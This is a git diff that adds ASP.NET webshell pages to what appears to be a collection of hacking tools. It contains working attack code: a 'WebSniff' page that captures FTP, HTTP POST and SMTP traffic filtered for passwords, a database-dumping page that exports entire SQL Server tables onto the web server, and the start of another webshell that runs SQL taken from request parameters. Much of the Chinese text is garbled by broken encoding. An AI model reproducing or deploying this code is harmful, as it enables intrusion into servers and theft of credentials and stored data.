|
||||||
|
|
||||||
|
public short VersionMajor
|
||||||
|
{
|
||||||
|
get { return 2; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public short VersionMinjor
|
||||||
|
{
|
||||||
|
get { return 4; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public int TimeZone
|
||||||
|
{
|
||||||
|
get { return _TimeZone; }
|
||||||
|
set { _TimeZone = value; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public int CaptureTimestamp
|
||||||
|
{
|
||||||
|
get { return _CaptureTimestamp; }
|
||||||
|
set { _CaptureTimestamp = value; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public Stream BaseStream
|
||||||
|
{
|
||||||
|
get { return _BaseStream; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public LinkLayerType LinkLaterType
|
||||||
|
{
|
||||||
|
get { return _LinkLayerType; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public int MaxPacketLength
|
||||||
|
{
|
||||||
|
get { return _MaxPacketLength; }
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
|
||||||
|
public void Write(PacketCapture packet)
|
||||||
|
{
|
||||||
|
CheckHeader();
|
||||||
|
m_Writer.Write(packet.Timestamp.Value);
|
||||||
|
m_Writer.Write(packet.Millseconds);
|
||||||
|
m_Writer.Write(packet.Packet.Count);
|
||||||
|
m_Writer.Write(packet.RawLength);
|
||||||
|
m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void Flush()
|
||||||
|
{
|
||||||
|
BaseStream.Flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void CheckHeader()
|
||||||
|
{
|
||||||
|
if (!m_ExistHeader)
|
||||||
|
{
|
||||||
|
m_Writer.Write(MAGIC);
|
||||||
|
m_Writer.Write(VersionMajor);
|
||||||
|
m_Writer.Write(VersionMinjor);
|
||||||
|
m_Writer.Write(TimeZone);
|
||||||
|
m_Writer.Write(CaptureTimestamp);
|
||||||
|
m_Writer.Write(MaxPacketLength);
|
||||||
|
m_Writer.Write((uint)LinkLaterType);
|
||||||
|
m_ExistHeader = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public sealed class PacketCapture
|
||||||
|
{
|
||||||
|
private readonly UnixTime _Timestamp;
|
||||||
|
private readonly ArraySegment<byte> _Packet;
|
||||||
|
private readonly int _RawLength;
|
||||||
|
private readonly int _Millseconds;
|
||||||
|
|
||||||
|
|
||||||
|
public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
|
||||||
|
{
|
||||||
|
if (packet.Count > rawLength)
|
||||||
|
throw new ArgumentException("Length Error", "rawLength");
|
||||||
|
_Packet = packet;
|
||||||
|
_Timestamp = timestamp;
|
||||||
|
_RawLength = rawLength;
|
||||||
|
_Millseconds = millseconds;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
|
||||||
|
: this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public PacketCapture(ArraySegment<byte> packet, int rawLength)
|
||||||
|
: this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public PacketCapture(ArraySegment<byte> packet)
|
||||||
|
: this(packet, packet.Count)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
|
||||||
|
: this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
|
||||||
|
: this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
|
||||||
|
: this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
|
||||||
|
: this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public PacketCapture(byte[] packetData, int rawLength)
|
||||||
|
: this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
public PacketCapture(byte[] packetData)
|
||||||
|
: this(packetData, packetData.Length)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public ArraySegment<byte> Packet
|
||||||
|
{
|
||||||
|
get { return _Packet; }
|
||||||
|
}
|
||||||
|
public UnixTime Timestamp
|
||||||
|
{
|
||||||
|
get { return _Timestamp; }
|
||||||
|
}
|
||||||
|
public int Millseconds
|
||||||
|
{
|
||||||
|
get { return _Millseconds; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public int RawLength
|
||||||
|
{
|
||||||
|
get { return _RawLength; }
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<style type="text/css">
|
||||||
|
<!--
|
||||||
|
a {
|
||||||
|
color: #FF0000 ;text-decoration: none
|
||||||
|
}
|
||||||
|
#b
|
||||||
|
{
|
||||||
|
color: #336699;
|
||||||
|
font-size: 10pt;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
#tt
|
||||||
|
{
|
||||||
|
vertical-align: middle;
|
||||||
|
font-size: 12pt;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
#Ct_2
|
||||||
|
{
|
||||||
|
padding-left:30px;
|
||||||
|
font-size: 10pt;
|
||||||
|
color: #336699;
|
||||||
|
vertical-align: middle;
|
||||||
|
text-align: left;
|
||||||
|
background-color: aliceblue;
|
||||||
|
border-width: 1px;
|
||||||
|
border-style: solid;
|
||||||
|
border-color: -moz-use-text-color;
|
||||||
|
padding-bottom:10px;
|
||||||
|
}
|
||||||
|
-->
|
||||||
|
</style>
|
||||||
|
<form id="form1" runat="server">
|
||||||
|
<div id="tt"> <b> WebSniff 1.0</b><br /><br /> </div>
|
||||||
|
<div id="Ct_2" >
|
||||||
|
<table width="100%" >
|
||||||
|
<tr >
|
||||||
|
<td width="10%"> Ŀ<><C4BF>IP: </td>
|
||||||
|
<td ><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr >
|
||||||
|
<td width="10%"><3E>Զ<EFBFBD><D4B6><EFBFBD>̽: </td>
|
||||||
|
<td >
|
||||||
|
FTP <20><><EFBFBD><EFBFBD>:
|
||||||
|
<asp:CheckBox ID="s_ftp" runat="server" Checked />
|
||||||
|
|
||||||
|
|
||||||
|
HTTP Post Data:
|
||||||
|
<asp:CheckBox ID="s_http_post" runat="server" />
|
||||||
|
|
||||||
|
|
||||||
|
Smtp Data:
|
||||||
|
<asp:CheckBox ID="s_smtp" runat="server" />
|
||||||
|
|
||||||
|
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td ">
|
||||||
|
Ŀ<><C4BF><EFBFBD>˿<EFBFBD>:
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID="txtport" Text="0" width="90%" runat="server"></asp:TextBox>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td >
|
||||||
|
<20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С:
|
||||||
|
</td>
|
||||||
|
<td >
|
||||||
|
<asp:TextBox ID="txtMinisize" Text="0" width="90%" runat="server" ></asp:TextBox>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD>磨passwd):
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID="txtkeywords" runat="server" width="90%" Text=""></asp:TextBox>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td >
|
||||||
|
<20><><EFBFBD>ݰ<EFBFBD><DDB0>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>:
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID="txtlogfile" runat="server" width="90%" Text="log.log" ></asp:TextBox>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td >
|
||||||
|
<20><>ʱֹͣ:
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID="txtpackets" runat="server" width="90%" Text="300"></asp:TextBox>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td >
|
||||||
|
<20><><EFBFBD><EFBFBD>:
|
||||||
|
</td>
|
||||||
|
<td width="90%" > <asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="<22><>ʼ" />
|
||||||
|
<asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="ֹͣ" />
|
||||||
|
<asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="<22><><EFBFBD><EFBFBD>" /><br />
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td >
|
||||||
|
Status:
|
||||||
|
</td>
|
||||||
|
<td width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
<tr>
|
||||||
|
<td >
|
||||||
|
|
||||||
|
</td>
|
||||||
|
<td width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</table>
|
||||||
|
</div><br /><br />
|
||||||
|
<div id=b>Powered by <a href="//user.qzone.qq.com/356497021"> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˮ </a>|<7C><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
<a href=" http://user.qzone.qq.com/356497021">1</a>
|
||||||
|
|
||||||
|
<a href="http://user.qzone.qq.com/356497021">2</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
1686
net-friend/aspx/view.aspx
Normal file
1686
net-friend/aspx/view.aspx
Normal file
File diff suppressed because it is too large
Load Diff
1047
net-friend/aspx/干净清爽的大马,不怎么好用.aspx
Normal file
1047
net-friend/aspx/干净清爽的大马,不怎么好用.aspx
Normal file
File diff suppressed because it is too large
Load Diff
573
net-friend/aspx/脱裤4ngle.aspx
Normal file
573
net-friend/aspx/脱裤4ngle.aspx
Normal file
@@ -0,0 +1,573 @@
|
|||||||
|
<%@ Page Language=<3D><>C#<23><> %>
|
||||||
|
|
||||||
|
<!DOCTYPE html PUBLIC <20><>-//W3C//DTD XHTML 1.0 Transitional//EN<45><4E> <20><>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd<74><64>>
|
||||||
|
|
||||||
|
<script runat=<3D><>server<65><72>>
|
||||||
|
|
||||||
|
protected void Button1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string serverIP=txtServerIP.Text;
|
||||||
|
string database=txtDatabase.Text;
|
||||||
|
string user=txtUser.Text;
|
||||||
|
string pass=txtPass.Text;
|
||||||
|
string tableName=txtTableName.Text;
|
||||||
|
string colName=txtColName.Text;
|
||||||
|
string fileName=txtFileName.Text;
|
||||||
|
|
||||||
|
if (serverIP != null & database != null & user != null & pass != null & tableName != null & fileName != null)
|
||||||
|
{
|
||||||
|
|
||||||
|
string connectionString = <20><>server=<3D><>+serverIP+<2B><>;database=<3D><>+database+<2B><>;uid=<3D><>+user+<2B><>;pwd=<3D><>+pass;
|
||||||
|
System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection(connectionString);
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
|
||||||
|
connection.Open();
|
||||||
|
string sqlStr = <20><>select * from <20><>+tableName;
|
||||||
|
|
||||||
|
if (colName!=<3D><>")
|
||||||
|
{
|
||||||
|
|
||||||
|
sqlStr = <20><>select <20><> + colName + <20><> from <20><> + tableName;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
System.Data.DataSet ds = new System.Data.DataSet();
|
||||||
|
System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sqlStr, connection);
|
||||||
|
System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd);
|
||||||
|
da.Fill(ds);
|
||||||
|
System.Data.DataTable dataTable = ds.Tables[0];
|
||||||
|
|
||||||
|
if (dataTable.Rows.Count==0)
|
||||||
|
{
|
||||||
|
lblInfo.Text = <20><>û<EFBFBD><C3BB><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD>;
|
||||||
|
lblInfo.ForeColor = System.Drawing.Color.Blue;
|
||||||
|
return;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
string filePath = System.IO.Path.GetDirectoryName(Server.MapPath(<28><>DataOutExl.aspx<70><78>))+<2B><>\\DataOut<75><74>;
|
||||||
|
if (!System.IO.Directory.Exists(filePath))
|
||||||
|
{
|
||||||
|
System.IO.Directory.CreateDirectory(filePath);
|
||||||
|
}
|
||||||
|
bool outType = RadioButton1.Checked;
|
||||||
|
int sum = dataTable.Rows.Count;
|
||||||
|
int count = 1;
|
||||||
|
int size = 0;
|
||||||
|
int tmpNum = 1;
|
||||||
|
|
||||||
|
if (txtNum.Text!=<3D><>")
|
||||||
|
{
|
||||||
|
size = int.Parse(txtNum.Text);
|
||||||
|
count = sum / size+1;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int z = 0; z < count; z++)
|
||||||
|
{
|
||||||
|
|
||||||
|
Button1.Text = <20><><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD>..<2E><>;
|
||||||
|
Button1.Enabled = false;
|
||||||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ڡ<EFBFBD>+(z+1)+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>+count+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݡ<EFBFBD>;
|
||||||
|
lblInfo.ForeColor = System.Drawing.Color.Blue;
|
||||||
|
|
||||||
|
System.IO.StreamWriter file = new System.IO.StreamWriter(filePath+<2B><>\\<5C><> + (z+1) +<2B><>_<EFBFBD><5F>+fileName, false, Encoding.UTF8);
|
||||||
|
|
||||||
|
bool isFirst = true;
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
|
||||||
|
file.Write(@<40><><html><head><meta http-equiv=content-type content=<3D><>text/html; charset=UNICODE<44><45>>
|
||||||
|
<style>*{font-size:12px;}table{background:#DDD;border:solid 2px #CCC;}td{background:#FFF;}
|
||||||
|
.th td{background:#EEE;font-weight:bold;height:28px;color:#008;}
|
||||||
|
div{border:solid 1px #DDD;background:#FFF;padding:3px;color:#00B;}</style>
|
||||||
|
<title>Export Table</title></head><body><3E><>);
|
||||||
|
|
||||||
|
file.Write(<28><><table border=<3D><>0<EFBFBD><30> cellspacing=<3D><>1<EFBFBD><31> cellpadding=<3D><>3<EFBFBD><33>><3E><>);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = size*z; i < dataTable.Rows.Count; i++)
|
||||||
|
{
|
||||||
|
System.Data.DataRow dataRow = dataTable.Rows[i];
|
||||||
|
if (isFirst)
|
||||||
|
{
|
||||||
|
if ( outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><><tr class=<3D><>th<74><68>><3E><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int j = 0; j < dataTable.Columns.Count; j++)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><><td><3E><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
file.Write(dataTable.Columns[j].ColumnName + <20><> <20><>);
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><></td><3E><>);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><></tr><3E><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
isFirst = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><><tr><3E><>);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
file.WriteLine(<28><> <20><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int k = 0; k < dataTable.Columns.Count; k++)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><><td><3E><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
file.Write(dataTable.Rows[i][k] + <20><> <20><>);
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><></td><3E><>);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><><tr><3E><>);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
file.WriteLine(<28><> <20><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tmpNum==size)
|
||||||
|
break;
|
||||||
|
|
||||||
|
tmpNum += 1;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outType)
|
||||||
|
{
|
||||||
|
file.Write(<28><></table><3E><>);
|
||||||
|
file.Write(<28><><br /><div>ִ<>гɹ<D0B3>!<21><><EFBFBD>ء<EFBFBD> + tmpNum + <20><><EFBFBD><EFBFBD></div><3E><>);
|
||||||
|
file.Write(<28><></body></html><3E><>);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
file.WriteLine(<28><>ִ<EFBFBD>гɹ<D0B3>!<21><><EFBFBD>ء<EFBFBD> + tmpNum + <20><><EFBFBD><EFBFBD>!<21><>);
|
||||||
|
}
|
||||||
|
|
||||||
|
file.Dispose();
|
||||||
|
file.Close();
|
||||||
|
tmpNum = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>;
|
||||||
|
lblInfo.ForeColor = System.Drawing.Color.Blue;
|
||||||
|
Button1.Enabled = true;
|
||||||
|
Button1.Text = <20><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||||||
|
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><DCA3><EFBFBD> + ex.Message;
|
||||||
|
lblInfo.ForeColor = System.Drawing.Color.Red;
|
||||||
|
|
||||||
|
}finally
|
||||||
|
{
|
||||||
|
connection.Close();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
lblInfo.Text = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>;
|
||||||
|
lblInfo.ForeColor = System.Drawing.Color.Red;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<html xmlns=<3D><>http://www.w3.org/1999/xhtml<6D><6C>>
|
||||||
|
<head runat=<3D><>server<65><72>>
|
||||||
|
<title><3E>ޱ<EFBFBD><DEB1><EFBFBD>ҳ</title>
|
||||||
|
<style type=<3D><>text/css<73><73>>
|
||||||
|
.style1
|
||||||
|
{
|
||||||
|
width: 61%;
|
||||||
|
}
|
||||||
|
.style2
|
||||||
|
{
|
||||||
|
height: 23px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id=<3D><>form1<6D><31> runat=<3D><>server<65><72>>
|
||||||
|
<div>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td colspan=<3D><>2<EFBFBD><32> align=center>
|
||||||
|
SQL Server <20><><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<a href=<3D><>http://hi.baidu.com/5427518<31><38>><3E>顯Blog</a></td>
|
||||||
|
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP:</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtServerIP<49><50> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
*</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD>ݿ⣺</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtDatabase<73><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
*</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD></td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtUser<65><72> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
*</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD>룺</td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtPass<73><73> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
*</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtTableName<6D><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
*</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtColName<6D><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
<20><><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>á<EFBFBD>,<2C><><EFBFBD>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtNum<75><6D> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></td>
|
||||||
|
<td>
|
||||||
|
<asp:TextBox ID=<3D><>txtFileName<6D><65> runat=<3D><>server<65><72> Width=<3D><>172px<70><78>></asp:TextBox>
|
||||||
|
*</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>
|
||||||
|
<20>ļ<EFBFBD><C4BC><EFBFBD>ʽ<EFBFBD><CABD></td>
|
||||||
|
<td>
|
||||||
|
<asp:RadioButton ID=<3D><>RadioButton1<6E><31> runat=<3D><>server<65><72> GroupName=<3D><>type<70><65> Checked=<3D><>true<75><65> Text=<3D><>html<6D><6C> />
|
||||||
|
|
||||||
|
<asp:RadioButton ID=<3D><>RadioButton2<6E><32> runat=<3D><>server<65><72> GroupName=<3D><>type<70><65> Text=<3D><>txt<78><74> />
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td colspan=<3D><>2<EFBFBD><32> align=<3D><>center<65><72>>
|
||||||
|
<asp:Button ID=<3D><>Button1<6E><31> runat=<3D><>server<65><72> Text=<3D><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> onclick=<3D><>Button1_Click<63><6B> />
|
||||||
|
</td>
|
||||||
|
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td colspan=<3D><>2<EFBFBD><32>>
|
||||||
|
<asp:Label ID=<3D><>lblInfo<66><6F> runat=<3D><>server<65><72> Text=<3D><>"></asp:Label>
|
||||||
|
</td>
|
||||||
|
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
=======================================================
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<EFBFBD>̿<EFBFBD>webshell֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
<%@ Page Language=<3D><>C#<23><> %>
|
||||||
|
|
||||||
|
<!DOCTYPE html PUBLIC <20><>-//W3C//DTD XHTML 1.0 Transitional//EN<45><4E> <20><>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd<74><64>>
|
||||||
|
|
||||||
|
<script runat=<3D><>server<65><72>>
|
||||||
|
protected void Page_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
//if (Request["sub"] != null && Request["sub"] == <20><>submit<69><74>)
|
||||||
|
//{
|
||||||
|
// GridView1.Visible = true;
|
||||||
|
|
||||||
|
// //System.Web.HttpContext.Current.Response.Write(DropDownList1.SelectedIndex);
|
||||||
|
// if (DropDownList1.SelectedIndex == 0)
|
||||||
|
// {
|
||||||
|
// using (System.Data.Odbc.OdbcConnection conn = new System.Data.Odbc.OdbcConnection(Request["conn"]))
|
||||||
|
// {
|
||||||
|
// conn.Open();
|
||||||
|
// System.Data.Odbc.OdbcCommand comm = new System.Data.Odbc.OdbcCommand(Request["sql"], conn);
|
||||||
|
// System.Data.Odbc.OdbcDataAdapter ad = new System.Data.Odbc.OdbcDataAdapter();
|
||||||
|
// ad.SelectCommand = comm;
|
||||||
|
// System.Data.DataSet ds = new System.Data.DataSet();
|
||||||
|
// ad.Fill(ds);
|
||||||
|
// GridView1.DataSource = ds;
|
||||||
|
// GridView1.DataBind();
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// if (DropDownList1.SelectedIndex == 2)
|
||||||
|
// {
|
||||||
|
// using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(Request["conn"]))
|
||||||
|
// {
|
||||||
|
// conn.Open();
|
||||||
|
// System.Data.SqlClient.SqlCommand comm = new System.Data.SqlClient.SqlCommand(Request["sql"], conn);
|
||||||
|
// System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter();
|
||||||
|
// ad.SelectCommand = comm;
|
||||||
|
// System.Data.DataSet ds = new System.Data.DataSet();
|
||||||
|
// ad.Fill(ds);
|
||||||
|
// GridView1.DataSource = ds;
|
||||||
|
// GridView1.DataBind();
|
||||||
|
// }
|
||||||
|
|
||||||
|
// }
|
||||||
|
// if (DropDownList1.SelectedIndex == 1)
|
||||||
|
// {
|
||||||
|
// using (System.Data.OleDb.OleDbConnection conn = new System.Data.OleDb.OleDbConnection(Request["conn"]))
|
||||||
|
// {
|
||||||
|
// conn.Open();
|
||||||
